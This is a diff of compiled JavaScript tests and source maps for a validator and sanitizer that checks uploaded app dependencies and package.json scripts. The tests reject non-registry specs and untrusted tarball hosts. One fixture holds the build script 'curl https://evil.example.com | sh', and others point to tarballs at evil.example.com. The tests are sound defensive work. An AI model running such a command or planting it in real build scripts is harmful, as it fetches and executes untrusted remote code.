B,KAAc,EACd,IAAwD;IAExD,MAAM,CAAC,GAAG,KAA6B,CAAC;IACxC,IAAI,CAAC,CAAC,IAAI,OAAO,CAAC,KAAK,QAAQ;QAC3B,MAAM,IAAI,KAAK,CAAC,mCAAmC,CAAC,CAAC;IACzD,IAAI,CAAC,CAAC,CAAC,QAAQ,IAAI,OAAO,CAAC,CAAC,QAAQ,KAAK,QAAQ;QAC7C,MAAM,IAAI,KAAK,CAAC,sCAAsC,CAAC,CAAC;IAC5D,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC,CAAC,KAAK,CAAC;QACvB,MAAM,IAAI,KAAK,CAAC,mCAAmC,CAAC,CAAC;IACzD,KAAK,MAAM,CAAC,IAAI,CAAC,CAAC,KAAK,EAAE,CAAC;QACtB,IAAI,CAAC,CAAC,IAAI,OAAO,CAAC,KAAK,QAAQ;YAC3B,MAAM,IAAI,KAAK,CAAC,iDAAiD,CAAC,CAAC;QACvE,IAAI,CAAC,aAAa,CAAC,CAAC,EAAE,IAAI,CAAC;YACvB,MAAM,IAAI,KAAK,CACX,yCAAyC,CAAC,EAAE,IAAI,GAAG,CACtD,CAAC;QACN,IAAI,OAAO,CAAC,EAAE,aAAa,KAAK,QAAQ;YACpC,MAAM,IAAI,KAAK,CACX,6BAA6B,CAAC,EAAE,IAAI,mBAAmB,CAC1D,CAAC;IACV,CAAC;IAED,IAAI,CAAC,CAAC,YAAY,KAAK,SAAS,EAAE,CAAC;QAC/B,MAAM,CAAC,GAAG,CAAC,CAAC,YAA4C,CAAC;QACzD,IAAI,CAAC,CAAC,IAAI,OAAO,CAAC,KAAK,QAAQ;YAC3B,MAAM,IAAI,KAAK,CACX,oDAAoD,CACvD,CAAC;QACN,IAAI,OAAO,CAAC,CAAC,WAAW,KAAK,QAAQ;YACjC,MAAM,IAAI,KAAK,CACX,+DAA+D,CAClE,CAAC;QACN,IAAI,OAAO,CAAC,CAAC,QAAQ,KAAK,QAAQ;YAC9B,MAAM,IAAI,KAAK,CACX,4DAA4D,CAC/D,CAAC;QACN,yDAAyD;QACzD,IAAI,IAAI,EAAE,oBAAoB,KAAK,SAAS,EAAE,CAAC;YAC3C,2BAA2B,CAAC,CAAC,CAAC,YAAY,EAAE;gBACxC,oBAAoB,EAAE,IAAI,CAAC,oBAAoB;aAClD,CAAC,CAAC;QACP,CAAC;IACL,CAAC;IAED,OAAO,CAAgB,CAAC;AAC5B,CAAC"}
@@ -70,6 +70,301 @@ describe('validateDataAppCode', () => {
70
70
  expect((0, code_1.validateDataAppCode)(withVersion)).toEqual(withVersion);
71
71
  });
72
72
  });
73
+ // ─── validateDataAppDependencies ────────────────────────────────────────────
74
+ const TEMPLATE_DEPS = {
75
+ react: '19.2.5',
76
+ 'react-dom': '19.2.5',
77
+ '@lightdash/query-sdk': '0.3303.0',
78
+ };
79
+ const makeDeps = (overrides) => ({
80
+ packageJson: JSON.stringify({
81
+ dependencies: { react: '19.2.5', 'react-dom': '19.2.5' },
82
+ }),
83
+ lockfile: 'react@19.2.5:\n react-dom@19.2.5:\n',
84
+ ...overrides,
85
+ });
86
+ describe('validateDataAppDependencies', () => {
87
+ it('returns empty customDeps when all declared deps match the template', () => {
88
+ const result = (0, code_1.validateDataAppDependencies)(makeDeps(), {
89
+ templateDependencies: TEMPLATE_DEPS,
90
+ });
91
+ expect(result.customDeps).toEqual({});
92
+ });
93
+ it('flags a new package not in the template as custom', () => {
94
+ const deps = makeDeps({
95
+ packageJson: JSON.stringify({
96
+ dependencies: { 'my-chart-lib': '^3.0.0' },
97
+ }),
98
+ lockfile: 'my-chart-lib@3.2.0:\n',
99
+ });
100
+ const result = (0, code_1.validateDataAppDependencies)(deps, {
101
+ templateDependencies: TEMPLATE_DEPS,
102
+ });
103
+ expect(result.customDeps).toEqual({ 'my-chart-lib': '^3.0.0' });
104
+ });
105
+ it('flags a version override as custom', () => {
106
+ const deps = makeDeps({
107
+ packageJson: JSON.stringify({
108
+ dependencies: { react: '18.3.1' }, // template has 19.2.5
109
+ }),
110
+ lockfile: 'react@18.3.1:\n',
111
+ });
112
+ const result = (0, code_1.validateDataAppDependencies)(deps, {
113
+ templateDependencies: TEMPLATE_DEPS,
114
+ });
115
+ expect(result.customDeps).toEqual({ react: '18.3.1' });
116
+ });
117
+ it('does not count devDependencies in the declared set', () => {
118
+ const deps = makeDeps({
119
+ packageJson: JSON.stringify({
120
+ dependencies: { react: '19.2.5' },
121
+ devDependencies: { typescript: '6.0.0' },
122
+ }),
123
+ lockfile: 'react@19.2.5:\n',
124
+ });
125
+ const result = (0, code_1.validateDataAppDependencies)(deps, {
126
+ templateDependencies: TEMPLATE_DEPS,
127
+ });
128
+ expect(result.customDeps).toEqual({});
129
+ });
130
+ it('throws when packageJson is not valid JSON', () => {
131
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({ packageJson: 'not-json' }), {
132
+ templateDependencies: TEMPLATE_DEPS,
133
+ })).toThrow(/not valid JSON/i);
134
+ });
135
+ it('throws when packageJson has no "dependencies" key', () => {
136
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({ packageJson: JSON.stringify({ name: 'app' }) }), { templateDependencies: TEMPLATE_DEPS })).toThrow(/"dependencies"/);
137
+ });
138
+ it('throws when a spec uses git+ protocol', () => {
139
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
140
+ packageJson: JSON.stringify({
141
+ dependencies: {
142
+ foo: 'git+https://github.com/foo/foo.git',
143
+ },
144
+ }),
145
+ lockfile: 'foo:\n',
146
+ }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
147
+ });
148
+ it('throws when a spec uses file: protocol', () => {
149
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
150
+ packageJson: JSON.stringify({
151
+ dependencies: { bar: 'file:../bar' },
152
+ }),
153
+ lockfile: 'bar:\n',
154
+ }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
155
+ });
156
+ it('throws when a spec uses workspace: protocol', () => {
157
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
158
+ packageJson: JSON.stringify({
159
+ dependencies: { sdk: 'workspace:*' },
160
+ }),
161
+ lockfile: 'sdk:\n',
162
+ }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
163
+ });
164
+ it('throws when a spec uses https: tarball URL', () => {
165
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
166
+ packageJson: JSON.stringify({
167
+ dependencies: { baz: 'https://example.com/baz.tgz' },
168
+ }),
169
+ lockfile: 'baz:\n',
170
+ }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
171
+ });
172
+ it('throws when a spec uses github: shorthand', () => {
173
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
174
+ packageJson: JSON.stringify({
175
+ dependencies: { foo: 'github:user/repo' },
176
+ }),
177
+ lockfile: 'foo:\n',
178
+ }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
179
+ });
180
+ it('allows npm: aliases pointing at semver specs', () => {
181
+ const deps = makeDeps({
182
+ packageJson: JSON.stringify({
183
+ dependencies: { preact: 'npm:preact@^10.0.0' },
184
+ }),
185
+ lockfile: 'preact@10.0.0:\n',
186
+ });
187
+ const result = (0, code_1.validateDataAppDependencies)(deps, {
188
+ templateDependencies: {},
189
+ });
190
+ expect(result.customDeps).toEqual({ preact: 'npm:preact@^10.0.0' });
191
+ });
192
+ it('rejects npm: aliases pointing at git+ specs', () => {
193
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
194
+ packageJson: JSON.stringify({
195
+ dependencies: {
196
+ foo: 'npm:bar@git+https://github.com/bar/bar.git',
197
+ },
198
+ }),
199
+ lockfile: 'foo:\n',
200
+ }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
201
+ });
202
+ it.each([
203
+ ['gitlab: shorthand', 'gitlab:user/repo'],
204
+ ['bitbucket: shorthand', 'bitbucket:user/repo'],
205
+ ['gist: shorthand', 'gist:abc123'],
206
+ ['bare relative path', '../../x'],
207
+ ['bare local path', './vendor/foo'],
208
+ ['dist-tag', 'latest'],
209
+ ['npm: alias without a version', 'npm:preact'],
210
+ ])('rejects %s specs', (_label, spec) => {
211
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
212
+ packageJson: JSON.stringify({
213
+ dependencies: { foo: spec },
214
+ }),
215
+ lockfile: 'foo:\n',
216
+ }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
217
+ });
218
+ it.each([
219
+ ['exact', '1.2.3'],
220
+ ['caret', '^1.2.3'],
221
+ ['tilde', '~1.2.0'],
222
+ ['comparator range', '>=1.2.0 <2.0.0'],
223
+ ['x-range', '1.2.x'],
224
+ ['star', '*'],
225
+ ['hyphen range', '1.0.0 - 2.0.0'],
226
+ ['union', '^1.0.0 || ^2.0.0'],
227
+ ['prerelease', '9.0.0-beta.1'],
228
+ ])('accepts %s semver specs', (_label, spec) => {
229
+ const result = (0, code_1.validateDataAppDependencies)(makeDeps({
230
+ packageJson: JSON.stringify({ dependencies: { foo: spec } }),
231
+ lockfile: 'foo:\n',
232
+ }), { templateDependencies: {} });
233
+ expect(result.customDeps).toEqual({ foo: spec });
234
+ });
235
+ it('rejects lockfiles resolving tarballs from non-allowed hosts', () => {
236
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
237
+ lockfile: 'react@19.2.5:\n resolution: {tarball: https://evil.example.com/react.tgz}\n',
238
+ }), {
239
+ templateDependencies: TEMPLATE_DEPS,
240
+ allowedTarballHosts: ['registry.npmjs.org'],
241
+ })).toThrow(/not an allowed registry host/i);
242
+ });
243
+ it('accepts lockfiles whose tarballs point at allowed hosts', () => {
244
+ const result = (0, code_1.validateDataAppDependencies)(makeDeps({
245
+ lockfile: 'react@19.2.5:\n resolution: {tarball: https://registry.npmjs.org/react/-/react-19.2.5.tgz}\n react-dom@19.2.5:\n',
246
+ }), {
247
+ templateDependencies: TEMPLATE_DEPS,
248
+ allowedTarballHosts: ['registry.npmjs.org'],
249
+ });
250
+ expect(result.customDeps).toEqual({});
251
+ });
252
+ it('skips tarball host validation when allowedTarballHosts is not provided', () => {
253
+ const result = (0, code_1.validateDataAppDependencies)(makeDeps({
254
+ lockfile: 'react@19.2.5:\n resolution: {tarball: https://evil.example.com/react.tgz}\n react-dom@19.2.5:\n',
255
+ }), { templateDependencies: TEMPLATE_DEPS });
256
+ expect(result.customDeps).toEqual({});
257
+ });
258
+ it(`throws when declared dep count exceeds MAX_DECLARED_DEPENDENCIES (${code_1.MAX_DECLARED_DEPENDENCIES})`, () => {
259
+ const tooMany = Object.fromEntries(Array.from({ length: code_1.MAX_DECLARED_DEPENDENCIES + 1 }, (_, i) => [
260
+ `pkg-${i}`,
261
+ `^${i}.0.0`,
262
+ ]));
263
+ const lockfileContent = Object.keys(tooMany)
264
+ .map((n) => `${n}:\n`)
265
+ .join('');
266
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
267
+ packageJson: JSON.stringify({ dependencies: tooMany }),
268
+ lockfile: lockfileContent,
269
+ }), { templateDependencies: {} })).toThrow(/exceeds maximum/i);
270
+ });
271
+ it('throws when lockfile exceeds MAX_LOCKFILE_BYTES', () => {
272
+ const bigLockfile = 'x'.repeat(code_1.MAX_LOCKFILE_BYTES + 1);
273
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({ lockfile: bigLockfile }), {
274
+ templateDependencies: TEMPLATE_DEPS,
275
+ })).toThrow(/lockfile exceeds/i);
276
+ });
277
+ it('throws when a custom package is missing from the lockfile', () => {
278
+ const deps = makeDeps({
279
+ packageJson: JSON.stringify({
280
+ dependencies: { 'missing-pkg': '^1.0.0' },
281
+ }),
282
+ lockfile: 'some-other-pkg@1.0.0:\n', // missing-pkg not mentioned
283
+ });
284
+ expect(() => (0, code_1.validateDataAppDependencies)(deps, { templateDependencies: {} })).toThrow(/not found in pnpm-lock\.yaml/i);
285
+ });
286
+ it('throws when packageJson is empty string', () => {
287
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({ packageJson: '' }), {
288
+ templateDependencies: {},
289
+ })).toThrow(/non-empty string/i);
290
+ });
291
+ it('throws when lockfile is empty string', () => {
292
+ expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({ lockfile: '' }), {
293
+ templateDependencies: {},
294
+ })).toThrow(/non-empty string/i);
295
+ });
296
+ it('throws on non-object input', () => {
297
+ expect(() => (0, code_1.validateDataAppDependencies)('not-object', {
298
+ templateDependencies: {},
299
+ })).toThrow(/not an object/i);
300
+ });
301
+ });
302
+ describe('sanitizeAppPackageJsonScripts', () => {
303
+ const templateScripts = { dev: 'vite', build: 'vite build' };
304
+ it('replaces uploader scripts with the template scripts', () => {
305
+ const input = JSON.stringify({
306
+ name: 'app',
307
+ scripts: { build: 'curl https://evil.example.com | sh' },
308
+ dependencies: { react: '19.2.5' },
309
+ });
310
+ const parsed = JSON.parse((0, code_1.sanitizeAppPackageJsonScripts)(input, templateScripts));
311
+ expect(parsed.scripts).toEqual(templateScripts);
312
+ expect(parsed.dependencies).toEqual({ react: '19.2.5' });
313
+ });
314
+ it('adds template scripts when the upload has none', () => {
315
+ const input = JSON.stringify({ dependencies: {} });
316
+ const parsed = JSON.parse((0, code_1.sanitizeAppPackageJsonScripts)(input, templateScripts));
317
+ expect(parsed.scripts).toEqual(templateScripts);
318
+ });
319
+ it('returns the input unchanged when it is not valid JSON', () => {
320
+ expect((0, code_1.sanitizeAppPackageJsonScripts)('not-json', templateScripts)).toBe('not-json');
321
+ });
322
+ });
323
+ describe('validateDataAppCode with dependencies', () => {
324
+ it('accepts a bundle with no dependencies field (backward compat)', () => {
325
+ expect((0, code_1.validateDataAppCode)(valid)).toEqual(valid);
326
+ });
327
+ it('accepts a bundle with valid dependencies when no template is provided', () => {
328
+ const withDeps = {
329
+ ...valid,
330
+ dependencies: makeDeps(),
331
+ };
332
+ expect((0, code_1.validateDataAppCode)(withDeps)).toEqual(withDeps);
333
+ });
334
+ it('throws when dependencies.packageJson is not a string', () => {
335
+ expect(() => (0, code_1.validateDataAppCode)({
336
+ ...valid,
337
+ dependencies: { packageJson: 42, lockfile: 'ok' },
338
+ })).toThrow(/dependencies\.packageJson/);
339
+ });
340
+ it('throws when dependencies.lockfile is not a string', () => {
341
+ expect(() => (0, code_1.validateDataAppCode)({
342
+ ...valid,
343
+ dependencies: { packageJson: '{}', lockfile: null },
344
+ })).toThrow(/dependencies\.lockfile/);
345
+ });
346
+ it('runs full validation when templateDependencies is provided', () => {
347
+ expect(() => (0, code_1.validateDataAppCode)({
348
+ ...valid,
349
+ dependencies: makeDeps({
350
+ packageJson: JSON.stringify({
351
+ dependencies: { foo: 'file:../foo' },
352
+ }),
353
+ lockfile: 'foo:\n',
354
+ }),
355
+ }, { templateDependencies: {} })).toThrow(/registry semver spec/i);
356
+ });
357
+ it('skips full validation when templateDependencies is omitted', () => {
358
+ // Even an invalid spec won't throw if no template is supplied — the
359
+ // structural check passes, full validation is deferred to the caller.
360
+ expect(() => (0, code_1.validateDataAppCode)({
361
+ ...valid,
362
+ dependencies: makeDeps({
363
+ packageJson: JSON.stringify({ dependencies: {} }),
364
+ }),
365
+ })).not.toThrow();
366
+ });
367
+ });
73
368
  it('DataAppCodeDownload carries manifest, files, and context', () => {
74
369
  const dl = {
75
370
  ...valid,
@@ -1 +1 @@
1
- {"version":3,"file":"code.test.js","sourceRoot":"","sources":["../../../../src/ee/apps/code.test.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"code.test.js","sourceRoot":"","sources":["../../../../src/ee/apps/code.test.ts"],"names":[],"mappings":"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